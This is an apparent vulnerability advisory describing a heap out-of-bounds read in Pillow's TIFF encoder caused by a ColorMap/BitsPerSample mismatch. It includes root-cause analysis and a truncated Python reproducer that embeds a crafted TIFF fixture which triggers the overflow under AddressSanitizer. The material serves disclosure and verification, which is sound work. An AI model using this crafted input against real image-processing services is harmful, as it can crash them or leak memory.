Pillow: TIFF encoder ColorMap plane-size mismatch causes a heap out-of-bounds read

Only this concrete full-package environment is established here. No affected-version range, current development-branch result, or patched release is asserted. Severity is Unknown; no CVSS score is proposed.

Separate earlier evidence reached the original Pillow 8.0.1 encoder constructor compiled as a component against a modern Python/libtiff environment. That was not a complete Pillow 8.0.1 installation and does not establish the historical package's full runtime behavior. It is not part of this reproducer or an affected-version range.

Observed evidence and controls

The earlier integration harness performed the natural sequence Image.open(BytesIO(input)), image.load(), then image.save(BytesIO(), format="TIFF"), without replacing the image's metadata. Each case was recorded three times:

Address-free summary of the recorded native diagnostic:

AddressSanitizer: heap-buffer-overflow
READ of size 131072
0 bytes after 1536-byte region
Copy path: memcpy -> _TIFFmemcpy -> setByteArray -> _TIFFsetShortArrayExt
           -> _TIFFVSetField -> TIFFVSetField -> ImagingLibTiffSetField
           -> PyImaging_LibTiffEncoderNew
Allocation: calloc -> PyImaging_LibTiffEncoderNew

Input SHA-256 values (also enforced inside the script):

• colormap16: 5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d
• colormap8: fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c
• colormap_absent: bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556

Root cause and source references

• Pillow src/encode.c, lines 870–899, pinned revision: the ColorMap tuple must contain exactly 768 entries; a 1536-byte allocation is passed with a fixed stride of 256. The check does not reconcile that extent with BitsPerSample.
• Pillow src/PIL/TiffImagePlugin.py, lines 1944–1991, pinned revision: save carries supplied tags into the libtiff encoder and sorts the tags, so sample depth is established before ColorMap.
• libtiff tif_dir.c, lines 441–448, pinned revision: TIFFTAG_COLORMAP computes the per-plane count as 1L << td->td_bitspersample and copies that many SHORTs from each pointer.

The reported boundary is Pillow's construction of a fixed-sized array for a native API whose required size depends on metadata; this does not establish a standalone libtiff defect for a correctly sized caller buffer.

Prior art and disclosure scope

Pillow PR #5148, merged December 28, 2020, is related TIFF metadata prior art, but its archived diff replaces a short-lived stack field-name pointer with the persistent literal "CustomField". That is a different field-name-lifetime fix, not this plane-size mismatch. The reviewed material does not establish an exact prior public report or fix for this root, and novelty is not asserted. This specific report remains NOT_SENT; association with other observations is not a prior disclosure of it.

Reproduction instructions

Use an already reviewed, existing installation of the exact wheel above, an existing compatible macOS ARM64 CPython 3.11 interpreter, and an existing compatible Apple ASAN runtime. --package-path is the absolute directory containing PIL, not the PIL directory itself. The script does not install, download, build, patch, or submit anything. It checks selected key package files against the original installation's hashes and checks the loaded package/version; these checks are not a full installation attestation.

Save the complete Python block below as reproduce.py and run:

python3.11 -I -S -B reproduce.py \
  --package-path /absolute/path/to/reviewed/site-packages \
  --asan-runtime /absolute/path/to/reviewed/libclang_rt.asan_osx_dynamic.dylib

Both arguments are required. The runtime must be loaded at child startup, not by late dlopen. Each child resolves __asan_init, __asan_address_is_poisoned, and __asan_region_is_poisoned in its actual process symbol table before importing Pillow or opening a fixture. Merely setting DYLD_INSERT_LIBRARIES is not accepted as proof of ASAN availability. A missing symbol or package mismatch prevents the operation.

Each of the three cases runs once in a separate child with a 30-second wall limit, 10-second hard CPU limit, core dumps disabled, and 1 MiB regular-file-size limit. The parent supplies a clean allowlisted environment, isolated Python startup (-I -S -B), an empty temporary working directory, no stdin, and a 128 KiB combined pipe-output cap. Timeout/output-cap handling kills the child's process group. These limits are containment measures, not a security sandbox. No TIFF is written to disk. Temporary directories are removed; raw diagnostics are never forwarded or persisted.

The compressed/base64 constants below are the unchanged original benign TIFF fixtures, with decompressed size and SHA-256 checks. There are no external fixture dependencies. The standalone script supplied with this description is byte-for-byte the same as this block.

Separate August 31, 2026 inline validation: the exact embedded standalone script passed all three fixed cases: one ASan READ of 131,072 bytes crossing a 1,536-byte allocation and two passing controls. Child guards and limits passed, with no timeout. This is additional bounded evidence, separate from earlier runs; no new build, install, full historical chain or older-version integration replay was performed.

Expected results from the standalone script

Cases run in order: colormap8, colormap_absent, colormap16. Every printed line should have guard_passed: true, within_limits: true, and expected_observation: true. The first two require successful saves and the expected retained sample-depth/ColorMap fields. The last requires ASAN exit 86 and the specific READ/extent/stack signatures, not merely any crash. Only the two controls inspect encoded metadata; the unsafe case never exports an encoded TIFF.

The parent exits 0 only if all three expectations match; 1 means a case did not match (including guard failure or a changed ASAN diagnostic), and 2 means parent setup failed. A failed guard, timeout, unrelated crash, or missing diagnostic is inconclusive, not evidence that the defect is absent. Do not bypass the ASAN guard to obtain an output TIFF.

Complete standalone reproducer

import argparse
import base64
import ctypes
import hashlib
import io
import json
import os
from pathlib import Path
import platform
import resource
import selectors
import struct
import subprocess
import sys
import tempfile
import time
import zlib


FIXTURES = {'colormap8': [1684,
               'fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c',
               'eNrz9NRi4GBgYOBmYGBkYWAEssAYic3EyAymQaqYoWzWBgYGNigbhAWh6iexMTCIIomLIZkjDmUzAbEMkhoHIJsBiCYxjIJRMApGwSgY2QAAPu0DiA=='],
 'colormap_absent': [137,
                     'bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556',
                     'eNrz9NRi4GBgYOBiYGBkYWAEssAYic3EyAymBYCYGcpmbWBgYIOyQVgQqr4NiEWRxMWQzBGHspmBWAZJDQOEBgDj8wKm'],
 'colormap16': [1685,
                '5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d',
                'eNrz9NRi4GBgYOBmYGBkYWAEssAYic3EyAymBYCYGcpmbWBgYIOyQVgQqn4SGwODKJK4GJI54lA2MxDLIKlxALJBgpMYRsEoGAWjYBSMZACsEwB78wOS']}
PACKAGE_PINS = {'PIL/ImageFile.py': '983c4f35e0c51046d4c636998ec77000cd2da208870a03b205e104cd0b2df629',
 'PIL/_version.py': 'fe7d75d4019326aca24ae57d4ab190cd62ba1225b175051119cd61cd87e42b1d',
 'PIL/__init__.py': '7361b6ad3878589affe5956e4a4da24d71398b0891fd3a8c15e9362217b4ca01',
 'PIL/features.py': '14f904863b416914aaa6480735876ec31885b7272ee0d8d92b010c5b1b5e98f5',
 'PIL/TiffTags.py': '766dea350424b9a2caab3513be794689403c2b7222cd038006f69cff08edb45d',
 'PIL/TiffImagePlugin.py': '440b2a3a80b280d18cda3fc70d9fd206e2fa44e9897c9550f70b51395047b273',
 'PIL/_imaging.cpython-311-darwin.so': '6d09b1fb925779fff32b5b8a4c348a42c201d350d0e0fd8cdc00410b6779e596',
 'PIL/Image.py': '04af3f2db7ffdd61e829fa7aa8f5481d394a0a4129a8fd8aa5b13908928fcd6d',
 'PIL/.dylibs/libtiff.6.dylib': 'e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1',
 'pillow-12.3.0.dist-info/WHEEL': 'de2586b77651a8bf1b7778c3609979713ebc901784a837fca80ed4969fc82e57',
 'pillow-12.3.0.dist-info/METADATA': '8fc07146cab33ef7582361dab6eac596d340b03ec648f18217da7894f73838c8'}
CASES = tuple(FIXTURES)
WALL_SECONDS = 30
FILE_LIMIT = 1024 * 1024
PIPE_LIMIT = 128 * 1024


def limits():
    resource.setrlimit(resource.RLIMIT_CORE, (0, 0))
    resource.setrlimit(resource.RLIMIT_CPU, (10, 10))
    resource.setrlimit(resource.RLIMIT_FSIZE, (FILE_LIMIT, FILE_LIMIT))


def fixture(case):
    size, expected_hash, encoded = FIXTURES[case]
    decoder = zlib.decompressobj()
    data = decoder.decompress(base64.b64decode(encoded, validate=True), size + 1)
    if (len(data) != size or not decoder.eof or decoder.unused_data
            or decoder.unconsumed_tail
            or hashlib.sha256(data).hexdigest() != expected_hash):
        raise ValueError("fixture integrity check failed")
    return data


def field(data, wanted):
    if len(data) < 8 or data[:4] not in (b"II*\0", b"MM\0*"):
        raise ValueError("not classic TIFF")
    endian = "<" if data[:2] == b"II" else ">"
    directory = struct.unpack_from(endian + "I", data, 4)[0]
    count = struct.unpack_from(endian + "H", data, directory)[0]
    if directory + 2 + count * 12 + 4 > len(data):
        raise ValueError("truncated directory")
    for number in range(count):
        offset = directory + 2 + number * 12
        tag, kind, length = struct.unpack_from(endian + "HHI", data, offset)
        if tag != wanted:
            continue
        size = {1: 1, 2: 1, 3: 2, 4: 4, 7: 1}[kind] * length
        start = offset + 8 if size <= 4 else struct.unpack_from(endian + "I", data, offset + 8)[0]
        if start + size > len(data):
            raise ValueError("truncated field")
        return kind, length, data[start:start + size], endian
    return None


def checked_image_module(package):
    if (sys.implementation.name != "cpython" or sys.version_info[:2] != (3, 11)
            or sys.platform != "darwin" or platform.machine() != "arm64"):
        raise RuntimeError("requires macOS ARM64 CPython 3.11")
    for relative, expected in PACKAGE_PINS.items():
        path = (package / relative).resolve(strict=True)
        if not path.is_relative_to(package) or hashlib.sha256(path.read_bytes()).hexdigest() != expected:
            raise RuntimeError("reviewed wheel file mismatch")
    process_symbols = ctypes.CDLL(None)
    for symbol in ("__asan_init", "__asan_address_is_poisoned", "__asan_region_is_poisoned"):
        getattr(process_symbols, symbol)
    sys.path.insert(0, str(package))
    from PIL import Image, features
    if (Image.__version__ != "12.3.0" or features.version("libtiff") != "4.7.1"
            or Path(Image.__file__).resolve() != package / "PIL/Image.py"
            or Path(Image.core.__file__).resolve() != package / "PIL/_imaging.cpython-311-darwin.so"):
        raise RuntimeError("unexpected Pillow or libtiff")
    return Image


def emit(descriptor, message):
    os.write(descriptor, (json.dumps(message, sort_keys=True) + "\n").encode("ascii"))


def child(case, package):
    descriptor = os.dup(1)
    with open(os.devnull, "wb") as quiet:
        os.dup2(quiet.fileno(), 1)
    try:
        image_module = checked_image_module(package)
        data = fixture(case)
        with image_module.open(io.BytesIO(data)) as image:
            image.load()
            if image.size != (1, 1) or image.info.get("compression") != "packbits":
                raise ValueError("unexpected input geometry")
            bits = 8 if case == "colormap8" else 16
            if image.tag_v2[258] != (bits,):
                raise ValueError("unexpected sample width")
            if case == "colormap_absent":
                if 320 in image.tag_v2:
                    raise ValueError("unexpected ColorMap")
            elif image.tag_v2[320] != (0,) * 768:
                raise ValueError("unexpected ColorMap planes")
            emit(descriptor, {"ready": True})
            with io.BytesIO() as output:
                image.save(output, format="TIFF")
                if case == "colormap16":
                    emit(descriptor, {"unsafe_save_returned": True})
                    return 1
                encoded = output.getvalue()
                saved_bits = field(encoded, 258)
                map_field = field(encoded, 320)
                bits_preserved = (saved_bits is not None and saved_bits[:2] == (3, 1)
                                  and struct.unpack(saved_bits[3] + "H", saved_bits[2])[0] == bits)
                map_preserved = (map_field is None if case == "colormap_absent"
                                 else map_field is not None and map_field[:2] == (3, 768)
                                 and map_field[2] == bytes(1536))
                emit(descriptor, {"control_passed": bool(bits_preserved and map_preserved)})
        return 0
    except Exception:
        emit(descriptor, {"child_failed": True})
        return 2
    finally:
        os.close(descriptor)


def run_case(case, package, runtime):
    with tempfile.TemporaryDirectory(prefix="pillow-check-") as temporary:
        environment = {
            "PATH": "/usr/bin:/bin:/usr/sbin:/sbin",
            "HOME": temporary,
            "TMPDIR": temporary,
            "LC_ALL": "C",
            "DYLD_INSERT_LIBRARIES": str(runtime),
            "ASAN_OPTIONS": "detect_leaks=0:halt_on_error=1:abort_on_error=0:exitcode=86:"
                            "disable_coredump=1:symbolize=1:malloc_fill_byte=165:"
                            "max_malloc_fill_size=1048576:log_path=stderr",
        }
        command = [sys.executable, "-I", "-S", "-B", str(Path(__file__).resolve()),
                   "--package-path", str(package), "--asan-runtime", str(runtime), "--child", case]
        output = bytearray()
        diagnostics = bytearray()
        deadline = time.monotonic() + WALL_SECONDS
        with subprocess.Popen(command, cwd=temporary, env=environment, stdin=subprocess.DEVNULL,
                              stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                              preexec_fn=limits, start_new_session=True) as process:
            bounded = True
            try:
                with selectors.DefaultSelector() as selector:
                    selector.register(process.stdout, selectors.EVENT_READ, output)
                    selector.register(process.stderr, selectors.EVENT_READ, diagnostics)
                    while selector.get_map():
                        remaining = deadline - time.monotonic()
                        if remaining <= 0:
                            raise TimeoutError
                        for key, events in selector.select(min(remaining, 0.25)):
                            chunk = os.read(key.fileobj.fileno(), 8192)
                            if not chunk:
                                selector.unregister(key.fileobj)
                            else:
                                key.data.extend(chunk)
                                if len(output) + len(diagnostics) > PIPE_LIMIT:
                                    raise BufferError
                    process.wait(timeout=max(0.001, deadline - time.monotonic()))
            except (TimeoutError, BufferError, subprocess.TimeoutExpired):
                bounded = False
                try:
                    os.killpg(process.pid, 9)
                except ProcessLookupError:
                    pass
                process.wait()
            status = process.returncode
        try:
            messages = [json.loads(line) for line in output.splitlines()]
        except (ValueError, UnicodeError):
            messages = []
        ready = bool(messages and messages[0] == {"ready": True})
        if case == "colormap16":
            observed = bool(bounded and ready and status == 86 and len(messages) == 1
                            and b"AddressSanitizer: heap-buffer-overflow" in diagnostics
                            and b"READ of size 131072" in diagnostics
                            and b"0 bytes after 1536-byte region" in diagnostics
                            and b"PyImaging_LibTiffEncoderNew" in diagnostics
                            and b"_TIFFmemcpy" in diagnostics)
        else:
            observed = bool(bounded and ready and status == 0
                            and messages